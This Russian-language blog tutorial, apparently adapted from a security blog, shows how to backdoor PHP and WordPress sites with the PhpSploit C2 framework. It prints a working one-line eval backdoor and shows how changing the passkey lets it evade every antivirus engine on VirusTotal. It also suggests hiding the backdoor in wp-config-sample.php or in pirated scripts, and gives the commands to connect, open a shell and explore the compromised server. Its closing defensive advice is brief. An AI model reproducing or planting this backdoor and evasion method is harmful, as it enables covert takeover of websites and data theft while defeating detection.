Как управлять сайтами (в том числе WordPress) с помощью бэкдора PhpSploit


Сейчас в Интернете можно скачать огромное количество пиратских программ, большая часть из которых заражена бэкдорами, троянами, вирусами. Наивные пользователи проверяют скаченные файлы с помощью антивирусов и рассчитывают, что им это поможет.

Скрипты веб-сайтов также могут распространяться на коммерческой основе и могут быть спиратченными — взломанными. Это могут быть движки онлайн магазинов, финансовые игры на деньги и хайп проекты. Давайте вместе посмотрим, насколько реально заразить веб-приложение бэкдором, чтобы его невозможно было найти.

Описанное здесь относится не только к тому, что без разбора скачиваете с сомнительных ресурсов. Заражение бэкдором можно получить и после взлома сайта или веб-сервера. Как многие из вас знают, WordPress написан на PHP. Поиск бэкдоров в коде PHP и WordPress может быть довольно сложным, а иногда и практически невозможным, поскольку бэкдоры могут быть скрыты в любом месте кода и выглядеть как обычный код, а типичная установка WordPress состоит примерно из 432 709 строк PHP-кода плюс десятки плагинов.

Таким образом, вместо того, чтобы читать весь код и искать бэкдоры, мы могли бы использовать автоматизированные инструменты, такие как антивирусное программное обеспечение, а популярное антивирусное программное обеспечение с открытым исходным кодом — ClamAV.

Сегодня мы собираемся протестировать наступательное программное обеспечение Command and Control (C2) PhpSploit, описанное ниже со страницы Github:

PhpSploit — это среда удалённого управления, цель которой — обеспечить скрытое интерактивное соединение, через HTTP, подобное оболочке между клиентом и веб-сервером. Это инструмент последующей эксплуатации, способный поддерживать доступ к взломанному веб-серверу для повышения привилегий. Полнофункциональный фреймворк C2, который незаметно сохраняется на веб-сервере в виде однострочного бэкдора на PHP

При запуске PhpSploit и генерации стандартного бэкдора для размещения в WordPress или PHP-коде будет создана примерна следующая строка, представляющая собой полноценный бэкдор:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Приведённый выше код можно создать, выполнив следующую команду:

phpsploit --interactive --eval "backdoor"

И если мы вставим этот небольшой фрагмент кода c eval в php-файл WordPress, а затем загрузим файл в VirusTotal, уровень обнаружения будет выглядеть следующим образом для 58 различных антивирусных сканеров, которые в настоящее время находятся в сети:

Всего одна находа, это ClamAV обнаруживает бэкдор как Php.Trojan.PhpSploit-7157376-0.

Если мы затем снова запустим phpsploit и установим ещё один PASSKEY следующим образом:

set PASSKEY HackWare

Для показа кода бэкдора выполним:

backdoor

Код бэкдора теперь выглядит иначе:

<?php @eval($_SERVER['HTTP_HACKWARE']); ?>

А затем, если мы воспользуемся этим кодом для проверки, спрячем его в wp-config-sample.php или в любой другой файл и снова загрузим код в VirusTotal:


Отлично! Теперь мы обходим все известные движки по поиску вредоносного кода, перечисленные в VirusTotal, путём внесения небольшого изменения. Заражение бэкдором выходит за рамки этой небольшой статьи, но это может быть уязвимая версия плагина (как один из многих примеров). Если же мы говорим о пиратском ПО, то достаточно добавить эту одну строку в любое место кода и весь сайт будет заражён бэкдором.

Как только бэкдор установлен или загружен на удалённый сервер, нам нужно установить путь до файла с бэкдором, это можно сделать командой «set TARGET» или её сокращённой версией «target», например::


set TARGET 192.168.0.223/backdoor.php

Чтобы открыть оболочку на удалённый сервер, достаточно выполнить:

exploit

Отлично. Теперь мы можем начать локальную разведку Linux, чтобы найти уязвимости эскалации пользователей с помощью таких команд, как

whoami

ls

pwd

ls -l ../../../

Доступны следующие команды:

    Команда        Описание
    -------        -----------
    cat            Печатает содержимое файла в стандартный вывод
    cd             Перейдите в другую директорию
    chmod          Поменять права доступа к файлу
    cp             Скопировать файл между двумя удалёнными путями
    download       Загрузить удалённый файл
    edit           Отредактировать удалённый файл локальным текстовым редактором
    ls             Показать содержимое директории
    mkdir          Создать директорию
    pwd            Вывести рабочую директорию
    rm             Удалить файл
    rmdir          Удалить пустую директорию
    stat           Показать статус файла
    touch          Изменить метки времени файла
    upload         Выгрузить файл на сервер

На уровне сети PHP-код, отправляемый по сети, выглядит так, как показано ниже. И должно быть довольно легко запускать предупреждения IDS на сетевом уровне, поскольку PHP-код, такой как eval и base64_decode, не должен быть частью http-заголовка. Это, конечно, всё равно можно изменить в PhpSploit, используя настройку REQ_HEADER_PAYLOAD.

Но запуск Suricata с обновлёнными правилами ничего не нашел:

Выводы

Даже с небольшими изменениями кода PHP-бэкдора, предоставленного PhpSploit, который доступен свободно, антивирусному программному обеспечению сложно найти бэкдор. Лучшая защита от этого — отслеживать все изменения в www-папке на веб сервере с помощью инструментов с открытым исходным кодом.

Помните, что заразить файлы на вашем сервере или вашем компьютере очень непросто. По этой причине в качестве профилактике иногда достаточно просто отказаться от использования пиратского софта чтобы практически полностью обезопасить себя от троянов и бэкдоров. Конечно же, используйте свежие версии программного обеспечения и своевременно обновляйте программы и скрипты.

Основывается на: https://blog.wpsec.com/backdooring-wordpress-with-phpsploit/


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *